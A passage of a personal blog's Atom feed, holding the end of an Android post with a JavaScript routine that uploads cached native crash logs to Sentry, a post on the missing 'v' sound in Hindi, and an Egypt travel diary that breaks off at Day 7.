</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#268bd2">const</span> uploadNdkCrashesIfAny <span style="color:#719e07">=</span> <span style="color:#268bd2">async</span> () =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#586e75">// This file path should be same here and in MainApplication.java
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>  <span style="color:#268bd2">const</span> ndkCrashLogsFilePath <span style="color:#719e07">=</span> RNFS.CachesDirectoryPath <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;/ndk_crash_logs.txt&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> ndkCrashLogcatLogsFilePath <span style="color:#719e07">=</span> RNFS.CachesDirectoryPath <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;/ndk_crash_logcat_logs.txt&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>(<span style="color:#268bd2">await</span> RNFS.exists(ndkCrashLogsFilePath))) {
</span></span><span style="display:flex;"><span>    Logger.debug(
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#39;Sentry@uploadNdkCrashesIfAny&#39;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#586e75">`crash log file </span><span style="color:#2aa198">${</span>ndkCrashLogsFilePath<span style="color:#2aa198">}</span><span style="color:#586e75"> not found, no native crashes recorded`</span>
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> fileSize <span style="color:#719e07">=</span> <span style="color:#b58900">parseInt</span>((<span style="color:#268bd2">await</span> RNFS.stat(ndkCrashLogsFilePath)).size, <span style="color:#2aa198">10</span>)
</span></span><span style="display:flex;"><span>  Logger.info(
</span></span><span style="display:flex;"><span>    <span style="color:#2aa198">&#39;Sentry@uploadNdkCrashesIfAny&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">`crash log file </span><span style="color:#2aa198">${</span>ndkCrashLogsFilePath<span style="color:#2aa198">}</span><span style="color:#586e75"> found (</span><span style="color:#2aa198">${</span>fileSize<span style="color:#2aa198">}</span><span style="color:#586e75"> bytes), capturing it via Sentry`</span>
</span></span><span style="display:flex;"><span>  )
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> msg1 <span style="color:#719e07">=</span> (<span style="color:#268bd2">await</span> RNFS.exists(ndkCrashLogcatLogsFilePath))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">?</span> <span style="color:#268bd2">await</span> RNFS.readFile(ndkCrashLogcatLogsFilePath)
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;Logcat logs not available&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">const</span> msg2 <span style="color:#719e07">=</span> <span style="color:#268bd2">await</span> RNFS.readFile(ndkCrashLogsFilePath)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  Sentry.captureMessage(<span style="color:#586e75">`NDK crash\n</span><span style="color:#2aa198">${</span>msg1<span style="color:#2aa198">}</span><span style="color:#586e75">\n</span><span style="color:#2aa198">${</span>msg2<span style="color:#2aa198">}</span><span style="color:#586e75">`</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">await</span> RNFS.unlink(ndkCrashLogsFilePath)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>(<span style="color:#268bd2">await</span> RNFS.exists(ndkCrashLogcatLogsFilePath))) {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">await</span> RNFS.unlink(ndkCrashLogcatLogsFilePath)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And a simple mechanism to handle native crashes would be ready. The best part is that this approach is not tied to your crash reporter, so, you can choose Sentry or Firebase Crashlytics or any other mechanism.</p>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Hindi: The missing "v" sound</title><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><id>https://ashishb.net/linguistics/sound-of-v/</id><author><name>Ashish Bhatia</name></author><published>2021-01-16T17:00:03+00:00</published><updated>2021-01-16T17:00:03+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why &lsquo;w&rsquo; fits better than &lsquo;v&rsquo; in Indic names. Explore phonetic insights and improve pronunciation accuracy with the right Devanagari adaptation.</blockquote><p>Indic-origin names should not use &ldquo;v&rdquo;, the sound is entirely non-existent in Indic-origin languages.</p>
<p>Consider a word like a wave, a Hindi speaker might pronounce it as वेव but that&rsquo;s incorrect.
The first consonant &ldquo;w&rdquo; is pronounced just like व in Hindi with the two lips touching each other.
The second consonant though involves touching your upper teeth with your lower lips.
The difference is akin to the difference between bilabial Ph (फ) which is made with both lips and labio-dental F (फ़) which is made with upper teeth and lower lips.</p>
<p>Given the phonetic nature of Hindi and widespread use of English, it is a bit surprising that there is no letter in Devanagari that
maps to this widespread &ldquo;v&rdquo; sound which is made using upper teeth and lower lip.
I wonder why don&rsquo;t we use व with a nuqta with it. Since that&rsquo;s the   
    
    
<a href="https://en.wikipedia.org/wiki/Nuqta?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">standard</a> way of importing foreign sounds.
So, rather than वेव, Hindi speakers would write and read it correctly as वेव़</p>
<p>So, Indic origin names should instead use &ldquo;w&rdquo;. For example, &ldquo;Ravi -&gt; Rawi&rdquo;, &ldquo;Devi -&gt; Dewi&rdquo;, &ldquo;Vikram&rdquo; -&gt; &ldquo;Wikram&rdquo; etc.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Egypt in 8 days</title><link href="https://ashishb.net/travel/egypt/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/kenya/?utm_source=atom_feed" rel="related" type="text/html" title="A week in Kenya"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/public-transport-guide/?utm_source=atom_feed" rel="related" type="text/html" title="When can you count on public transport while traveling?"/><id>https://ashishb.net/travel/egypt/</id><author><name>Ashish Bhatia</name></author><published>2021-01-03T17:00:30+00:00</published><updated>2021-01-03T17:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the allure of Egypt with a 2020 travel account! Experience iconic pyramids, savor local cuisine, and navigate language with ease. Egyptian adventures await!</blockquote><p>Egypt, locally known as Misr (मिस्र) is world-famous for its pyramids and ancient polytheist temples. I made a trip to Egypt in Nov 2020, during the COVID-19 era. Given the general lack of tourism, it was a great time to travel since I didn&rsquo;t face any queues and in many temples, I was the sole visitor.</p>
<p>Very few people outside the tourism industry understand English, so, it is good to make yourself aware of a few basic phrases. The equivalent of &ldquo;hello&rdquo; is  &ldquo;As-salamu alaykum&rdquo;.  To ask for a price, say &quot;   
    
    
<a href="https://www.arabicpod101.com/lesson/3minute-egyptian-arabic-10-asking-how-much-something-costs/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bekam da</a>&quot;. And of course learn the common numbers like five (hamza), three (thlath), ten (ashri), and twenty (ashrin) since these are what you will encounter on the street. And &ldquo;I don&rsquo;t understand Arabic&rdquo; is &ldquo;Ana mish fahem al Arabee&rdquo;.</p>
<p>As a vegetarian, I did not face any problems finding food since Falafel and Ful sandwiches are aplenty and available for cheap (1-5 EGP per sandwich). The national dish   
    
    
<a href="https://www.themediterraneandish.com/egyptian-koshari-recipe/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Koshari</a> is neither delicious nor nutritious. The Egyptian Pizza, Feteer, however, is darn delicious.</p>
<figure>
    
    <a href="Feteer-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Feteer-300x225.jpg"
         alt="An Egyptian pizza called Feteer" width="300"/> </a>
</figure>

<figure>
    
    <a href="Egyptian_sweets-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Egyptian_sweets-300x225.jpg"
         alt="Egyptian feteer, a textured, layered pastry dessert sits on a plate, set against a simple backdrop, showcasing its golden-brown and flaky appearance" width="300"/> </a>
</figure>

<h2 id="day-1---cairo-giza">Day 1 - Cairo (Giza)</h2>
<p>Cairo, locally known as Kahira (काहीरा), is the capital and home to the world-famous pyramid of Giza. The city has a pretty evolved metro system, and you can count on it to go anywhere. I always found someone who speaks English at the ticketing windows.</p>
<p>Start your day with Giza Necropolis, locally known as <em>al-haram</em>. You can easily go there via Metro or Uber. There are no water fountains inside, so, do carry sufficient water with you. The area is vast. I bought all three tickets - one for the area(200 EGP), one for the Great Pyramid (200 EGP), and one for the small pyramid, King Khafre, (100 EGP). If you are tight on budget, skip the 400 EGP ticket to the large pyramid. Both the pyramids look similar and unassuming from the inside. The same goes for the Sphinx which is relatively small.</p>
<figure>
    
    <a href="The_pyramid_of_Giza-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="The_pyramid_of_Giza-1024x768.jpg"
         alt="A large pyramid is seen with a rocky surface, standing prominently in a desert environment under a clear sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="Inside_Pyramid_of_Giza-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Inside_Pyramid_of_Giza-768x1024.jpg"
         alt="A large, ancient stone pyramid under a clear sky, surrounded by desert landscape, with two interior shots showing narrow, stone-lined passageways and chambers inside." width="900"/> </a>
</figure>

<figure>
    
    <a href="Inside_Pyramid_of_Giza2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Inside_Pyramid_of_Giza2-768x1024.jpg"
         alt="Panoramic view of the Pyramid of Giza&#39;s interior, showcasing ancient stone structures with illuminated details, captured in a series of aligned photographs for detailed examination." width="900"/> </a>
</figure>

<figure>
    
    <a href="Pyramid_panorama-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pyramid_panorama-1024x768.jpg"
         alt="Hieroglyph-covered walls inside the Pyramid of Giza, with intricate carvings depicting ancient Egyptian symbols and scenes, captured in a well-lit interior photograph." width="905"/> </a>
</figure>

<figure>
    
    <a href="Pyramid_panorama2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pyramid_panorama2-1024x768.jpg"
         alt="Panoramic image of pyramids on a desert landscape, capturing three different angles of ancient structures under a clear sky." width="905"/> </a>
</figure>

<figure>
    
    <a href="Second_Pyramid-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Second_Pyramid-1024x768.jpg"
         alt="Panoramic image of pyramids on a desert landscape" width="905"/> </a>
</figure>

<figure>
    
    <a href="Sphinx_1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sphinx_1-1024x768.jpg"
         alt="Sphinx with the Great Pyramid of Giza in the background" width="905"/> </a>
</figure>

<p>In case you are wondering who disfigured the nose, it was an act of iconoclasm in 1378 AD by Muhammad Sa&rsquo;im al-Dahr as he was   
    
    
<a href="https://www.history.com/topics/ancient-egypt/the-sphinx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">outraged</a> by the act of idol worship. I also came across the Tomb of Emory that as per the guard was the engineer of the Great Pyramid. The tomb is on the north side with his statue facing the Pyramid.</p>
<p>Do spend some time checking out the other structures in the area, nothing as majestic as the Pyramids though.</p>
<p>In the afternoon, take a walking tour of Coptic Cairo. It is excellent if you have an interest in the religious history of Egypt. Among various structures is a church built on the   
    
    
<a href="https://egypt.travel/en/stories/the-journey-of-the-holy-family-to-egypt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">location</a> where the holy family (Jesus and his parents) stayed. And a hanging church built by Christians in an Arabic style before the advent of Islam in Egypt. It is called a hanging church as it was built on top of a Roman palace.</p>
<figure>
    
    <a href="The_hanging_church-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="The_hanging_church-768x1024.jpg"
         alt="A historic building known as the Hanging Church, constructed atop a Roman palace, associated with the advent of Islam in Egypt." width="900"/> </a>
</figure>

<p>Later, I went to   
    
    
<a href="https://www.amusingplanet.com/2013/09/the-cave-church-of-zabbaleen-in-cairo.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The cave church</a> which is located in the garbage city of Cairo. I wouldn&rsquo;t recommend it.</p>
<figure>
    
    <a href="The_church_of_Saint_Thomas-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="The_church_of_Saint_Thomas-1024x768.jpg"
         alt="An illuminated church with architectural details is seen at night, situated in Cairo&#39;s Garbage City" width="905"/> </a>
</figure>

<p>At night, I booked a train from Cairo to Aswan. I was able to purchase a ticket at the station for 295 EGP in AC-1. As same-day tickets were sold out, I purchased a ticket for the next day. There are quite a few   
    
    
<a href="https://www.seat61.com/Egypt.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reports</a> that foreigners are not allowed to purchase the tickets except for a more expensive night train with security guards in it. I wasn&rsquo;t stopped and I met a few other travelers later who had taken the same train.</p>
<p>One restaurant chain, I would highly recommend eating in is GAD restaurants. They have an English menu. And they charge the same (local) prices to everyone.</p>
<p>Another place I would highly recommend trying for juices is Cairo is   
    
    
<a href="https://goo.gl/maps/uzn4WzUjowHrx4sx8?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sindabad restaurant</a>. They also have an English menu and sell 1L juice for only 20-40 EGP depending on the fruit. Some fruits like Dom (Doum Palm) are native to Africa. Be prepared for limited food choices as you go upstream (south) towards Aswan.</p>
<h2 id="day-2---cairo-saqqara">Day 2 - Cairo (Saqqara)</h2>
<p>(Note: I actually did this on the last day, but I would recommend doing this on the second day)</p>
<p>Now go to the second set of Pyramids, the Pyramids of Djoser in Saqqara. These are some of the oldest Pyramids. Getting there is a bit involved and unless you are on a guided tour, I would recommend taking a Metro to El Monib station and then take an Uber from there. It is both faster and cheaper than taking an Uber from inside Cairo.
This area is huge, and again you will have to decide which tickets you want to buy. For me, the base ticket sufficed since that gave me entry inside one of the Pyramids as well. The highlight of this area is the step Pyramid of Djoser built in ~2700 BC. It is the oldest standing Pyramid in the world.   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g730107-d566602-Reviews-Pyramid_of_Unas-Saqqara_Giza_Governorate.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pyramid of Unas</a> does not require an extra ticket either but it seems to close at noon.</p>
<figure>
    
    <a href="Pyramid_of_djoser-1024x581.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pyramid_of_djoser-1024x581.jpeg"
         alt="A large ancient stepped pyramid surrounded by a stone wall and ruins located in the desert. The pyramid is the Pyramid of Djoser in Egypt." width="905"/> </a>
</figure>

<p>For the return journey, take a Tuk-tuk. For 5 EGP it dropped me to a microbus, a 12-person van, that took another 5 EGP for a 16 KM ride and dropped me to another microbus that charged 3 EGP for the final 6 KM to the Metro. It was 7 EGP back to Cairo. So, all in all, you can get to the site for 20 EGP.</p>
<p>The rest of my night was the 12-hour train journey to Aswan. The trains have reclining seats, no Wi-Fi, and a few seats have charging points to charge your phone. The train started ~ 30 minutes late and reached about one hour late. So, be flexible. Aswan is the southernmost major Egyptian site on the Nile river, so, going there and then returning northwards is better.</p>
<figure>
    
    <a href="Train_to_Aswan-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Train_to_Aswan-1024x768.jpg"
         alt="Train to Aswan" width="905"/> </a>
</figure>

<h2 id="day-3---aswan">Day 3 - Aswan</h2>
<p>At the station, I found a nice guide who offered great prices and I ended up booking multiple excursions through him including a tour of Abu Simbel, a tour of Philae, a private cab to Luxor, and a 6-hour guided tour in Luxor. After reading the rest of the trip, if you like, 
<a href="/about/">contact me</a> in case you want his details.</p>
<p>In the evening, I did a Felucca Boat ride for 80 EGP. We stopped at The tomb of the Nobles, another interesting archeological site. The entry fee is 60 EGP. Unlike Cairo, Aswan isn&rsquo;t very touristy. In fact, there are only a few restaurants with English menus. Thankfully, you can go to most restaurants and ask for a Falafel sandwich.</p>
<figure>
    
    <a href="Aswan_from_across_the_river-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Aswan_from_across_the_river-1024x768.jpg"
         alt="A scenic view of Aswan from across the river includes a calm water surface and surrounding buildings" width="905"/> </a>
</figure>

<figure>
    
    <a href="Tomb_of_the_nobles-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Tomb_of_the_nobles-1024x768.jpg"
         alt="A scenic view of Aswan from across the river is depicted, with historical tombs visible in the surrounding landscape" width="905"/> </a>
</figure>

<h2 id="day-4---abu-simbel">Day 4 - Abu Simbel</h2>
<p>We left early morning at 6 AM on a 400 EGP (for transport) + 25 EGP (for guide) guided tour to   
    
    
<a href="https://www.ancient.eu/Abu_Simbel/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Abu Simbel</a>. The temple, originally built in ~1200 BC, relocated in 1968, after the Aswan dam is built, is majestic.</p>
<figure>
    
    <a href="Abu_Simbel_Ramses_II-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Abu_Simbel_Ramses_II-1024x768.jpg"
         alt="Two statues from Abu Simbel: one of Ramses II and another of Nefertari." width="905"/> </a>
</figure>

<figure>
    
    <a href="Abu_Simbel_Nefertari-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Abu_Simbel_Nefertari-1-1024x768.jpg"
         alt="Two large stone sculptures of seated Egyptian figures at Abu Simbel, depicting Ramses II, illuminated by sunlight inside the temple." width="905"/> </a>
</figure>

<p>Inside the inner sanctum of the first temple, the temple of Ramses II, the solar illumination   
    
    
<a href="https://www.atlasobscura.com/places/the-temple-of-abu-simbel-egypt-nubia-egypt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">glows</a> the face of Ramses II, Ra (the sun god), and Amun god, twice a year for about 20 minutes. The statue of Ptah, the creator-god is left in shadow. This happens first on Feb 22, his coronation day. And second on his birthday, Oct 22.</p>
<figure>
    
    <a href="Abu_Simbel_glow-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Abu_Simbel_glow-1024x768.jpg"
         alt="Hieroglyphic carvings on rock surfaces are illuminated by sunlight inside the Abu Simbel temple, coinciding with significant dates: Feb 22 and Oct 22." width="905"/> </a>
</figure>

<figure>
    
    <a href="Hathur_Nefertari_and_Isis-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Hathur_Nefertari_and_Isis-768x1024.jpg"
         alt="A large, sunlit ancient temple at Abu Simbel, with detailed hieroglyph carvings of Hathor, Nefertari, and Isis." width="900"/> </a>
</figure>

<p>Overall, we spent about 2 hours at the site and 6 hours driving to the site and back to Cairo but the temple is majestic and worth visiting.</p>
<p>In the evening, I did a self-guided tour of Obelisk (80 EGP entry fee). If you are short on time, you can skip it.</p>
<figure>
    
    <a href="Unfinished_Obelisk-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Unfinished_Obelisk-768x1024.jpg"
         alt="A large, unfinished obelisk remains partially attached to the bedrock, surrounded by uneven, rugged terrain in an ancient quarry site." width="900"/> </a>
</figure>

<p>Later, I checked out the Nubian village in the evening. There is a 5 EGP blue color public ferry that runs from 6 AM too midnight to cross the river to Elephantine island.</p>
<figure>
    
    <a href="Aswan_Temple_of_Khnum-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Aswan_Temple_of_Khnum-1024x768.jpg"
         alt="A blue public ferry crosses the river to Elephantine Island, operational from 6 AM to midnight, amidst a scenic backdrop." width="905"/> </a>
</figure>

<h2 id="day-5----aswan-kom-umbu-edfu-and-luxor">Day 5 -  Aswan, Kom Umbu, Edfu, and Luxor</h2>
<p>I started the day with the Philae Temple, devoted to the goddess Isis.</p>
<figure>
    
    <a href="Aswan_Philae_Temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Aswan_Philae_Temple-1024x768.jpg"
         alt="A beautifully preserved ancient Egyptian temple with detailed carvings, devoted to the goddess Isis, accompanied by descriptive text about visiting Kom Umbu, Edfu, and Luxor." width="905"/> </a>
</figure>

<p>The temple is gorgeous and definitely worth visiting. The ticket price is 180 EGP along with 175 EGP for the boat ride that I was able to share with two other passengers. The temple is in the middle of the lake, so, you will have to negotiate boat price as well.</p>
<p>Then took a private taxi (900 EGP) to Luxor since that&rsquo;s the only way I could have stopped at the temple of Kom Umbu and the temple of Edfu (180 EGP). The temple of Kom Ombo (140 EGP) is basic but the crocodile museum which part of the same temple complex is worth a visit.</p>
<figure>
    
    <a href="Temple_of_Sobek_at_Kom_Ombo-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_of_Sobek_at_Kom_Ombo-768x1024.jpg"
         alt="A temple complex in Kom Ombo with intricate carvings is adjacent to a crocodile museum, providing historical and cultural insights for visitors. Entry fee noted as 140 EGP." width="900"/> </a>
</figure>

<figure>
    
    <a href="Kom_Ombo_Crocodile_Museum-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kom_Ombo_Crocodile_Museum-1024x768.jpg"
         alt="A large ancient Egyptian temple with detailed carvings on its stone facade" width="905"/> </a>
</figure>

<figure>
    
    <a href="Temple_of_Horus_in_Edfu-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_of_Horus_in_Edfu-1024x768.jpg"
         alt="Temple of Horus in Edfu" width="905"/> </a>
</figure>

<figure>
    
    <a href="Temple_of_Horus_in_Edfu2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_of_Horus_in_Edfu2-768x1024.jpg"
         alt="A grand stone entrance leads to the Temple of Horus in Edfu, featuring intricate carvings and ancient Egyptian architecture." width="900"/> </a>
</figure>

<h2 id="day-6---luxor">Day 6 - Luxor</h2>
<p>On the first day, as a part of a guided tour, we did the temple of Karnak (Entry fee 200 EGP) and the temple of Luxor (Entry fee 160 EGP). The temple of Karnak is the most grandiose structure. And in fact, it indeed is the second-largest site after the Vishnu temple of Angkor Wat. The tallest obelisk here is 29.5 meters tall. Just like Hindus in India and Mayans in 
<a href="/travel/cusco-peru/">Peru</a>; ancient Egyptians cut the granite by making small holes in it and then pouring water our the wood inserted in those holes. When the water expands at night, it cracks granite. You will notice Lotus alongside Papyrus in many places. Lotus symbolizes north Egypt and Papyrus, south Egypt.</p>
<figure>
    
    <a href="Temple_of_Karnak_in_Luxor-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_of_Karnak_in_Luxor-768x1024.jpg"
         alt="An ancient Egyptian column, intricately carved, stands tall with hieroglyphics and representations of lotus and papyrus motifs, symbolizing northern and southern Egypt." width="900"/> </a>
</figure>

<figure>
    
    <a href="Temple_of_Karnak_in_Luxor2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_of_Karnak_in_Luxor2-768x1024.jpg"
         alt="Statue of a lion&#39;s body with a ram&#39;s head, representing the local god Amon from Luxor, Egypt" width="900"/> </a>
</figure>

<p>Body of a lion combined with a head of a Ram is local god of Luxor, Amon. It merged with Ra, the sun god, to form Amon-Ra, a pan-Egyptian God.</p>
<figure>
    
    <a href="Luxor_Amon_god-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Amon_god-1024x768.jpg"
         alt="A statue of Amon, a local god of Luxor, depicts him merging with Ra to form Amon-Ra, set against an ancient Egyptian temple backdrop." width="905"/> </a>
</figure>

<figure>
    
    <a href="Luxor_Temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Temple-1024x768.jpg"
         alt="A statue of an Egyptian god Amun, stands tall with intricate hieroglyphics surrounding it in Luxor, Egypt, symbolizing ancient religious iconography." width="905"/> </a>
</figure>

<p>There isn&rsquo;t much to do in Luxor for rest of the day. Our tour was split over two days but in case you are in hurry, you can actually do Valley of the Kings on the same day.</p>
<h2 id="day-7---luxor">Day 7 - Luxor</h2>
<p>I started the day with an early morning   
    
    
